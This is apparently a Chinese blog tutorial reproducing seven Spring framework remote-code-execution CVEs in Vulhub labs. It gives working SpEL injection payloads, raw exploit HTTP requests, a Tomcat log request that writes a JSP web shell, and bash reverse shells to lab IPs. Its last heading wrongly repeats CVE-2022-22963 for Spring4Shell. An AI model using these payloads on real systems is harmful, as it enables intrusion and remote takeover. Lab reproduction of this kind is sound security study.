常見框架漏洞復現——Spring
Spring簡介
Spring框架是一個開放源代碼的J2EE應用程序框架,是針對bean的生命周期進行管理的輕量級容器。Spring可以單獨應用于構筑應用程序,也可以和Struts、Webwork、Tapestry等眾多Web框架組合使用,并且可以與 Swing等桌面應用程序AP組合。
Spring框架主要由七部分組成,分別是 Spring Core、 Spring AOP、 Spring ORM、 Spring DAO、Spring Context、 Spring Web和 Spring Web MVC

Spring發展到現在,全家桶所包含的內容非常龐大,這里主要介紹其中關鍵的5個部分
1.Spring Framework
也就是我們經常說的spring框架,包括了ioc依賴注入,Context上下文、bean管理、springmvc等眾多功能模塊,其它spring項目比如spring boot也會依賴spring框架。
2.springBoot
它的目標是簡化Spring應用和服務的創建、開發與部署,簡化了配置文件,使用嵌入式web服務器,含有諸多開箱即用的微服務功能,可以和spring cloud聯合部署。Spring Boot的核心思想是約定大于配置,應用只需要很少的配置即可,簡化了應用開發模式。
3.Spring Data
是一個數據訪問及操作的工具集,封裝了多種數據源的操作能力,包括:jdbc、Redis、MongoDB等。
4.springCloud
是一套完整的微服務解決方案,是一系列不同功能的微服務框架的集合。Spring Cloud基于Spring Boot,簡化了分布式系統的開發,集成了服務發現、配置管理、消息總線、負載均衡、斷路器、數據監控等各種服務治理能力。比如sleuth提供了全鏈路追蹤能力,Netflix套件提供了hystrix熔斷器、zuul網關等眾多的治理組件。config組件提供了動態配置能力,bus組件支持使用RabbitMQ、kafka、Activemq等消息隊列,實現分布式服務之間的事件通信。
5.Spring Security
主要用于快速構建安全的應用程序和服務,在Spring Boot和Spring Security OAuth2的基礎上,可以快速實現常見安全模型,如單點登錄,令牌中繼和令牌交換。你可以了解一下oauth2授權機制和jwt認證方式。oauth2是一種授權機制,規定了完備的授權、認證流程。JWT全稱是JSON Web Token,是一種把認證信息包含在token中的認證實現,oauth2授權機制中就可以應用jwt來作為認證的具體實現方法。
下圖就直觀表現了他們之間的關系。

Spring Security OAuth2 遠程命令執行漏洞(CVE-2016-4977)
漏洞原理:Spring Security OAuth 是為 Spring 框架提供安全認證支持的一個模塊。在其使用 whitelabel views 來處理錯誤時,由于使用了Springs Expression Language (SpEL),攻擊者在被授權的情況下可以通過構造惡意參數來遠程執行命令。
影響版本:
- Spring Security OAuth 2.0 – 2.0.9
- Spring Security OAuth 1.0 – 1.0.5
漏洞環境:vulhub/README.zh-cn.md at master · vulhub/vulhub (github.com)【1】

訪問路徑/oauth/authorize,會看到左上角有個綠色葉子的標志,一般都是spring或者springboot
poc驗證是否存在漏洞,首先需要填寫用戶名和密碼,這里填入admin:admin即可。
/oauth/authorize?response_type=${233*233}&client_id=acme&scope=openid&redirect_uri=http://test

可以看到存在漏洞,接著反彈shell回來。
首先將反彈shell命令進行base64編碼
bash -i >& /dev/tcp/192.168.31.74/9999 0>&1
然后放入以下格式
bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjc0Lzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}
使用工具再次進行編碼vulhub/poc.py at master · vulhub/vulhub (github.com)【2】注意需要使用python3


windows系統的poc如下
http://localhost:8080/oauth/authorize? response_type=calc.exe${T(java.lang.Runtime).getRuntime().exec(toString().substring(112,120))}&client_id=secalert&scope=openid&redirect_uri=http://test
Spring Web Flow 遠程代碼執行漏洞(CVE-2017-4971)
漏洞原理:Spring Web Flow (SWF) 是Spring Framework的一個脫離模塊, 是一個適用于開發基于流程的應用程序的框架(如購物邏輯),可以將流程的定義和實現流程行為的類和視圖分離開來。該漏洞源于在Model的數據綁定上沒有指定相關model的具體屬性,從而導致惡意的表達式可以通過表單提交并且被執行,導致遠程代碼執行。
影響版本:Spring Web Flow 2.4.0 - 2.4.4
漏洞環境:Vulhub - Docker-Compose file for vulnerability environment【3】

點擊左上角login進入登陸界面,用給出的任意一個賬號/密碼登錄系統:

隨便點擊一家酒店,然后按預訂按鈕“Book Hotel”,填寫相關信息后點擊“Process”(從這一步,WebFlow就正式開始了):

填寫相關信息后確認抓包

驗證漏洞,執行成功后會如圖所示,在 HTTP 返回頭部中會多出 1_Ry字段
&_T(org.springframework.web.context.request.RequestContextHolder).getRequestAttributes().getResponse().addHeader("1_Ry","True").aaa=n1nty

反彈shell payload,注意里面的反彈shell語句是經過了url編碼的
&_T(java.lang.Runtime).getRuntime().exec("/bin/bash+-c+$%40|bash+0+echo+bash+-i+>%26/dev/tcp/192.168.31.74/9999+0>%261")或者&_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/192.168.31.74/9999+0>%261")).start()=test

Spring Messaging 遠程命令執行漏洞(CVE-2018-1270)
漏洞原理:Spring messaging為spring框架提供消息支持,其上層協議是STOMP,底層通信基于SockJS。在spring messaging中,其允許客戶端訂閱消息,并使用selector過濾消息。selector用SpEL表達式編寫,并使用StandardEvaluationContext解析,造成命令執行漏洞。
影響版本:
- Spring Framework 5.0 to 5.0.4.
- Spring Framework 4.3 to 4.3.14
漏洞環境:Vulhub - Docker-Compose file for vulnerability environment【4】

利用腳本vulhub/exploit.py at master · vulhub/vulhub (github.com)【5】(這個poc并不具有通用性)
/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.31.74/9999 0>&1


其實這個漏洞我也不太懂怎么驗證存不存在,具體分析可以參考這篇spring-messaging 遠程代碼執行漏洞分析(CVE-2018-1270) - 知乎 (zhihu.com)【6】
Spring Data Commons 遠程命令執行漏洞(CVE-2018-1273)
漏洞原理:Spring Data是一個用于簡化數據庫訪問,并支持云服務的開源框架,Spring Data Commons是Spring Data下所有子項目共享的基礎框架。Spring Data Commons 在2.0.5及以前版本中,存在一處SpEL表達式注入漏洞,攻擊者可以注入惡意SpEL表達式以執行任意命令。
影響版本:
- Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)
- Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
- Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
- Spring Data REST 3.0 - 3.0.5 (Kay SR5)
漏洞環境:Vulhub - Docker-Compose file for vulnerability environment【7】
訪問http://your-ip:8080/users,可以看到一個注冊界面

點擊注冊抓包,payload放入請求體中(反彈shell語句經過了url編碼)
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("/bin/bash+-c+$%40|bash+0+echo+bash+-i+>%26/dev/tcp/172.20.10.13/9999+0>%261")]=&password=&repeatedPassword=

Spring Cloud Gateway Actuator API SpEL表達式注入命令執行(CVE-2022-22947)
漏洞原理:Spring Cloud Gateway是Spring中的一個API網關。其3.1.0及3.0.6版本(包含)以前存在一處SpEL表達式注入漏洞,當攻擊者可以訪問Actuator API的情況下,將可以利用該漏洞執行任意命令。
影響版本:
- Spring Cloud Gateway 3.1.0
- Spring Cloud Gateway 3.0.0 - 3.0.6
- Spring Cloud Gateway 其他已不再更新的版本
漏洞環境:Vulhub - Docker-Compose file for vulnerability environment【8】

利用這個漏洞需要分多步。
首先,發送如下數據包即可添加一個包含惡意SpEL表達式的路由:
POST /actuator/gateway/routes/1_Rytest HTTP/1.1Host: 192.168.31.74:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/jsonContent-Length: 329
{ "id": "1_Rytest", "filters": [{ "name": "AddResponseHeader", "args": { "name": "Result", "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } }], "uri": "http://example.com"}

然后,發送如下數據包應用剛添加的路由。這個數據包將觸發SpEL表達式的執行:
POST /actuator/gateway/refresh HTTP/1.1Host: 192.168.31.74:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

然后,發送如下數據包應用剛添加的路由。這個數據包將觸發SpEL表達式的執行:
GET /actuator/gateway/routes/1_Rytest HTTP/1.1Host: 192.168.31.74:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

最后,發送如下數據包清理現場,刪除所添加的路由:
DELETE /actuator/gateway/routes/1_Rytest HTTP/1.1Host: 192.168.31.74:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: close

POST /actuator/gateway/refresh HTTP/1.1Host: 192.168.31.74:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closeContent-Type: application/x-www-form-urlencodedContent-Length: 0

驗證看看,清理成功

Spring Cloud Function SpEL表達式命令注入(CVE-2022-22963)
漏洞原理:Spring Cloud Function 提供了一個通用的模型,用于在各種平臺上部署基于函數的軟件,包括像 Amazon AWS Lambda 這樣的 FaaS(函數即服務,function as a service)平臺。當Spring Cloud Function 啟用動態路由functionRouter時, HTTP請求頭spring.cloud.function.routing-expression參數存在SPEL表達式注入漏洞,攻擊者可通過該漏洞進行遠程命令執行。
影響版本:3 <= 版本 <= 3.2.2
漏洞環境:Vulhub - Docker-Compose file for vulnerability environment【9】
啟動一個使用Spring Cloud Function 3.2.2編寫的服務器,服務啟動后,執行curl http://your-ip:8080/uppercase -H "Content-Type: text/plain" --data-binary test即可執行uppercase函數,將輸入字符串轉換成大寫。

發送如下數據包,spring.cloud.function.routing-expression頭中包含的SpEL表達式將會被執行
POST /functionRouter HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closespring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.20.10.13/9999 0>&1")Content-Type: text/plainContent-Length: 4
test

Spring Cloud Function SpEL表達式命令注入(CVE-2022-22963)
漏洞原理:2022年3月31日,VMware Tanzu發布漏洞報告,Spring Framework存在遠程代碼執行漏洞,在 JDK 9+ 上運行的 Spring MVC 或 Spring WebFlux 應用程序可能容易受到通過數據綁定的遠程代碼執行 (RCE) 的攻擊。利?class對象構造利?鏈,對Tomcat的日志配置進行修改,然后,向?志中寫?shell。
漏洞原理:
- Apache Tomcat作為Servlet容器;
- 使用JDK9及以上版本的Spring MVC框架;
- Spring框架以及衍生的框架spring-beans-*.jar文件或者存在
- CachedIntrospectionResults.class
影響版本:
- Spring Framework < 5.3.18
- Spring Framework < 5.2.20
漏洞環境:Vulhub - Docker-Compose file for vulnerability environment【10】

發送以下請求以更改Apache Tomcat中的日志記錄配置,并將日志作為JSP文件寫入:
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat= HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closesuffix: %>//c1: Runtimec2: <%DNT: 1



反彈shell ,/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.31.74/9999 0>&1(需要url編碼)

每次請求日志都會寫入該文件,所以該文件會變得越來越大,發送以下請求以清除該屬性:
GET /?class.module.classLoader.resources.context.parent.pipeline.first.pattern= HTTP/1.1Host: 192.168.31.74:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: close
利用工具
https://codeload.github.com/BobTheShoplifter/Spring4Shell-POC/zip/refs/heads/main
參考
【1】vulhub/README.zh-cn.md at master · vulhub/vulhub (github.com):https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/README.zh-cn.md
【2】vulhub/poc.py at master · vulhub/vulhub (github.com):https://github.com/vulhub/vulhub/blob/master/spring/CVE-2016-4977/poc.py
【3】Vulhub - Docker-Compose file for vulnerability environment:https://vulhub.org/#/environments/spring/CVE-2017-4971/
【4】Vulhub - Docker-Compose file for vulnerability environment:https://vulhub.org/#/environments/spring/CVE-2018-1270/
【5】vulhub/exploit.py at master · vulhub/vulhub (github.com):https://github.com/vulhub/vulhub/blob/master/spring/CVE-2018-1270/exploit.py
【6】spring-messaging 遠程代碼執行漏洞分析(CVE-2018-1270) - 知乎 (zhihu.com):https://zhuanlan.zhihu.com/p/37269602
【7】Vulhub - Docker-Compose file for vulnerability environment:https://vulhub.org/#/environments/spring/CVE-2018-1273/
【8】Vulhub - Docker-Compose file for vulnerability environment:https://vulhub.org/#/environments/spring/CVE-2022-22947/
【9】Vulhub - Docker-Compose file for vulnerability environment:https://vulhub.org/#/environments/spring/CVE-2022-22963/
【10】Vulhub - Docker-Compose file for vulnerability environment:https://vulhub.org/#/environments/spring/CVE-2022-22965/